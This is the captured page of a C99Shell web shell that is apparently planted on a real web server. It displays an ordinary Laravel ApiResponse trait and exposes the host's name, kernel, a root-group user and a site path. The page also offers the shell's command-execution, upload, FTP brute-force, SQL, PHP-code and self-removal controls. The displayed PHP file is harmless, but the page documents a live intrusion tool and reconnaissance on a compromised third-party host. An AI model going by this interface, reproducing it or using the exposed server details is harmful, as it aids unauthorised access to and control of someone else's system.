!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Gateway/Traits/   drwxr-xr-x
Free 26.53 GB of 117.98 GB (22.49%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ApiResponse.php (4.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package ApiResponse
 * @author TechVillage <support@techvill.org>
 * @contributor Muhammad AR Zihad <[zihad.techvill@gmail.com]>
 * @created 17-08-2021
 */

namespace Modules\Gateway\Traits;

use 
Illuminate\Http\JsonResponse;
use 
Symfony\Component\HttpFoundation\Response;

trait 
ApiResponse
{
    
/**
     * Prepare response.
     *
     * @param string $message
     * @param  int  $statusCode
     * @return array
     */
    
public function response($data = [], int $statusCode Response::HTTP_OKstring $message '')
    {
        if (empty(
$message)) {
            
$message Response::$statusTexts[$statusCode];
        }

        return 
response()->json([
            
'response' => [
                
'status' => [
                    
'code' => $statusCode,
                    
'message' => $message
                
],
                
'records' => $data
            
]
        ]);
    }

    
/**
     * Success Response
     *
     * @param array $data
     * @param  int  $statusCode
     * @param string $message
     * @return JsonResponse
     */
    
public function successResponse($data = [], int $statusCode Response::HTTP_OKstring $message '')
    {
        return 
$this->response($data$statusCode$message);
    }

    
/**
     * Error Response
     *
     * @param  array  $errors
     * @param  int  $statusCode
     * @param string $message
     * @return JsonResponse
     */
    
public function errorResponse($errors = [], int $statusCode Response::HTTP_INTERNAL_SERVER_ERRORstring $message '')
    {
        return 
$this->response($errors$statusCode$message);
    }

    
/**
     * Response with status code 200.
     *
     * @param array $data
     * @param string $message
     * @return JsonResponse
     */
    
public function okResponse($data = [], string $message '')
    {
        return 
$this->successResponse($dataResponse::HTTP_OK$message);
    }

    
/**
     * Response with status code 201.
     *
     * @param array $data
     * @param string $message
     * @return JsonResponse
     */
    
public function createdResponse($data = [], string $message '')
    {
        return 
$this->successResponse($dataResponse::HTTP_CREATED$message);
    }

    
/**
     * Response with status code 400.
     *
     * @param array $data
     * @param string $message
     * @return JsonResponse
     */
    
public function badRequestResponse($data = [], string $message '')
    {
        return 
$this->errorResponse($dataResponse::HTTP_BAD_REQUEST$message);
    }

    
/**
     * Response with status code 401.
     *
     * @param array $data
     * @param string $message
     * @return JsonResponse
     */
    
public function unauthorizedResponse($data = [], string $message '')
    {
        return 
$this->errorResponse($dataResponse::HTTP_UNAUTHORIZED$message);
    }

    
/**
     * Response with status code 403.
     *
     * @param array $data
     * @param string $message
     * @return JsonResponse
     */
    
public function forbiddenResponse($data = [], string $message '')
    {
        return 
$this->errorResponse($dataResponse::HTTP_FORBIDDEN$message);
    }

    
/**
     * Response with status code 404.
     *
     * @param array $data
     * @param string $message
     * @return JsonResponse
     */
    
public function notFoundResponse($data = [], string $message '')
    {
        return 
$this->errorResponse($dataResponse::HTTP_NOT_FOUND$message);
    }

    
/**
     * Response with status code 409.
     *
     * @param array $data
     * @param string $message
     * @return JsonResponse
     */
    
public function conflictResponse($data = [], string $message '')
    {
        return 
$this->errorResponse($dataResponse::HTTP_CONFLICT$message);
    }

    
/**
     * Response with status code 422.
     *
     * @param array $data
     * @param string $message
     * @return JsonResponse
     */
    
public function unprocessableResponse($data = [], string $message '')
    {
        return 
$this->errorResponse($dataResponse::HTTP_UNPROCESSABLE_ENTITY$message);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--